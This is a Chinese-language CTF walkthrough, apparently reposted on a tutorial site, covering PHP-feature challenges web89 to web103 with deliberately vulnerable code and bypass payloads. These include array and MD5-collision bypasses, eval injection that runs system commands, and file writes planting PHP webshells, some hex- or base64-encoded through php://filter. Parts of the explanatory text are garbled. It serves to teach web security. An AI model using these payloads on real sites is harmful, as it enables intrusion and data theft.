您现在的位置是:首页 > 技术教程 正文

PHP特性靶场

admin 阅读: 2024-03-17
后台-插件-广告管理-内容页头部广告(手机)

>>文档声明:  使得页面在所有的浏览器里显示的都是一个样子

>>  :标签是HTML文档的开始以及结束标识。

>>  :网页的正文内容

>>  :HTML标签中,分别使用

~

表示最多6级标题

>> 

表示段落

>>段落内换行:

1、\n,使源代码换行,而浏览器显示的内容不换行;(echo "\n";

2、
是使浏览器显示的内容换行,而源代码不换行。(
echo "
" )

>> 


:水平分隔线,使用
标签。

>>$_GET函数:

>>include函数:

>>highlight_file函数:

>>isset函数:

>>preg_match函数:

>>正则表达式:

>>die函数:

>>intval函数:

>>strpos函数:查找 "php" 在字符串中第一次出现的位置。

>>function函数:

>>md5函数:

一.web89

<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
?>

       intval函数:如果他的值为一个数组,只要数组里面有值,那么不论值的数量,返回值都为1,空数组则返回0。

       preg_match()函数:利用数组绕过正则匹配,使其返回值发生错误而为false。

正则表达式:描述了一种字符串匹配的模式,可以用来检查一个串是否含有某种子串、将匹配的子串做替换或者从某个串中取出符合某个条件的子串等。

payload:?num[]=1//?num[]

>>>解析:

     "?num=1"表示一个查询字符串参数。在这种情况下,参数的键是"num",值是"1"。在服务器端,可以使用PHP的内置全局变量 ‘$GET’ 来获取这些参数的值。例如,‘_GET['num']`将返回"1"。   

   - 查询字符串(Query String):出现在URL中问号(?)后面的部分,用于向服务器传递参数。查询字符串由一个或多个参数组成,每个参数由键值对表示,用等号(=)分隔键和值,用与号(&)分隔不同的参数。

二.web90

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num === "4476") {
        die("no no no!");
    }
    if (intval($num, 0) === 4476) {
        echo $flag;
    } else {
        echo intval($num, 0);
    }
}

intval函数:

int intval ( mixed $var [, int $base = 10 ] )

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

>>如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
>>如果字符串以 “0” 开始,使用 8 进制(octal);
>>否则,将使用 10 进制 (decimal)

>>二进制(0b)

payload:?num=010574

三.web91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} nonononono

^开头

$结尾

payload:?cmd=%0aphp

四.web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这里同web90,考察intval函数的应用。

payload:?num=0x117c(16进制绕过

payload:?num=010574(8进制绕过,第一个0表示这个数是八进制下的数

五.web93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这里考察正则表达式以及intval函数的应用:

if(preg_match("/[a-z]/i", $num)){
        die("no no no!"); }

i表示 不区分(ignore)大小写,所以这段代码表示输入的数字不能有英文字母。

直接八进制绕过payload:?num=010574

六.web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这里依旧是上述题目的拓展,

if(!strpos($num, "0")){
        die("no no no!");

感叹号是取反(取当前结果的反面)的意思,所以在这个地方需要返回的值不能为0,也就是说0不能在第一位。

payload:?num=4476.0(这里的数字其实是字符构成的数组)

七.web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
 

找出不同的地方:

if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");

payload:?num=+010574(利用八进制开头加号代替空格绕过if)

八.web96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

payload:/?u=D:\phpstudy_pro\WWW\php特性靶场\web96\flag.php(绝对路径)

九.web97

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这题要求传入的a的值和b的值不相等,同时a和b的MD5值相等才能输出flag,有两种方法。

>>数组绕过:

payload:a[]=n&b[]=n

利用md5()函数无法处理数组,如果传入的是个数组,md5处理后都返回NULL,所以第二个if处的强比较可以相等。

>>md5值碰撞

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2     //强碰撞

十.web98

<?php
include("flag.php");
$_GET ? $_GET = &$_POST : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';
highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__);

$_GET ? $_GET = &$_POST : 'flag';

//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)

既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了

十一.web99

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>

$allow = array(); //把​allow变量设置为数组。

array_push() - 向数组尾部插入一个或多个元素。
in_array() - 搜索数组中是否存在指定的值。函数有缺陷,若没有设置第三个参数,则存在强制转换(类比==)比如数组$allow含有1,in_array(1.php, $allow)为真。

file_put_contents(文件名,写入的数据,mode,context)

payload:?n=5.php content=<?php @eval($_POST['hack']);?>

十二.web100

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if ($v0) {
    if (!preg_match("/\;/", $v2)) {
        if (preg_match("/\;/", $v3)) {
            eval("$v2('ctfshow')$v3");
        }
    }
}

因为赋值的优先级(=)高于and所以v 0 的 值 可 以 由 v0的值可以由v0的值可以由v1来控制,所以我们需要给其赋值为1也就是true

此题先看其在GET传三个参数v0那个有与运算符的先后性所以v1只能数字,即v2是指令v3必须有";"字符

构造playload

方法一:?v1=1&v2=?><?php echo `tac ctfshow.php`?>/* &v3= */;

?>进行对前面的闭合<?php echo `tac ctfshow.php`?>内敛执行/* */ 对(‘ctfshow’)内容进行注释 ;进行代码闭合

方法二:?v1=21&v2=var_dump($ctfshow) /* &v3= */ ; 对内容进行注释通过var_dump()将ctfshow荡出来

利用注释这种的姿势很多下面讲另一种方法

方法三:?v1=1&v2=echo new ReflectionClass&v3=; 通过new一个ReflectionClass对后面那个(‘ctfshow’)进行反射并输出 ReflectionClass

因为flag在类ctfshow中,所以可以直接命令执行

?v1=1&v2=var_dump($ctfshow)&v3=;
v1=1&v2=system("cat ctfshow.php")/*&v3=*/;

十三.web101

  1. <?php
  2. highlight_file(__FILE__);
  3. include("ctfshow.php");
  4. //flag in class ctfshow;
  5. $ctfshow = new ctfshow();
  6. $v1 = $_GET['v1'];
  7. $v2 = $_GET['v2'];
  8. $v3 = $_GET['v3'];
  9. $v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
  10. if ($v0) {
  11. if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)) {
  12. if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)) {
  13. eval("$v2('ctfshow')$v3");
  14. }
  15. }
  16. }

playload :/?v1=1&v2=echo new ReflectionClass&v3=;
 

十四.web102

  1. <?php
  2. highlight_file(__FILE__);
  3. $v1 = $_POST['v1'];
  4. $v2 = $_GET['v2'];
  5. $v3 = $_GET['v3'];
  6. $v4 = is_numeric($v2) and is_numeric($v3);
  7. if ($v4) {
  8. $s = substr($v2, 2);
  9. $str = call_user_func($v1, $s);
  10. echo $str;
  11. file_put_contents($v3, $str);
  12. } else {
  13. die('hacker');
  14. }
  15. hacker

函数解析:
substr():返回字符串的子串,题中意思是返回v2字符串第2位开始的字串

call_user_func():把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。

file_put_contents(): 将一个字符串(s t r )写入文件( str)写入文件(str)写入文件(v3)

由此我们可以构造payload:

?v2=0x3c3f706870206576616c28245f504f53545b276a6179275d293b3f3e&v3=x.php       //GET

v1=hex2bin                          //POST

hex2bin:参数只有一个,将传入的参数(16进制转换为ascii字符)

hex2bin(3c3f706870206576616c28245f504f53545b276a6179275d293b3f3e)

就是一句话木马<?php eval($_POST['jay']);?>

但是有个什么问题:

var_dump(is_numeric("0x66"));// 在php5中返回值为true
var_dump(is_numeric("0x66"));// 在php7中返回值为false

但是本题的环境是php7

所以换一种方法

利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法啊,来自同一家的payload啊:

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

payload:(v2前两个1只是为了占位)

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php                 //GET
//str=PD89YGNhdCAqYDs(<?=`cat *`;   的base64编码)
v1=hex2bin                           //POST

然后访问x.php去触发就可以了

十五.web103

和上一题相比,加了一段过滤代码

if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }

/.*p.*h.*p.*/i 是一个正则表达式模式,用于匹配包含 "php" 子字符串的字符串。

.* 表示匹配任意字符(除换行符)零次或多次。

因此,如果 $str 不包含 "php" 子字符串,条件为真,表示字符串不符合预期要求。在条件块中可以执行相应的处理逻辑。

由于之前的payload也没有字符串"php"。

所以payload不变:

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php                 //GET
//str=PD89YGNhdCAqYDs(<?=`cat *`;   的base64编码)
v1=hex2bin                           //POST

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索